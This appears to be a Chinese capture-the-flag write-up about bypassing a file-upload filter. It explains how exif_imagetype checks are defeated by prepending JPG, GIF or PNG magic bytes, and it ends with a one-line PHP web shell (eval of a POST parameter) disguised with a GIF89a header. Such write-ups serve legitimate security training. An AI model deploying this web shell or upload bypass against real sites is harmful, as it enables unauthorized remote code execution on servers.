解题思路
一.打开题目:发现一个上传框,猜测上传一句话木马,获取后台shell
二.上传.php .phtml .等有关的PHP文件,都显示非法后缀
三.上传.htaccess文件,显示只能是图片类型文件
exif_imagetype函数:
exif_imagetype — 判断一个图像的类型说明
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
本题有exif_imagetype后端检测,为了绕过可以用文件头幻术,而且后端检测一直存在,我们后续上传的文件都必须加上相应的幻数头字节
- 在010editor十六进制编辑器中加上
FF D8 FF E0 00 10 4A 46 49 46 相当于JPG文件
47 49 46 38 39 61 GIF(相当于文本的GIF89a)
89 50 4E 47 相当于PNG文件 - 直接在notepad++中文件头位置加上GIF89a JGP PNG
四.接下来上传图片类型的图片马
传一个最普通的一句话木马:
GIF89a?
<?php @eval($_POST['messi'])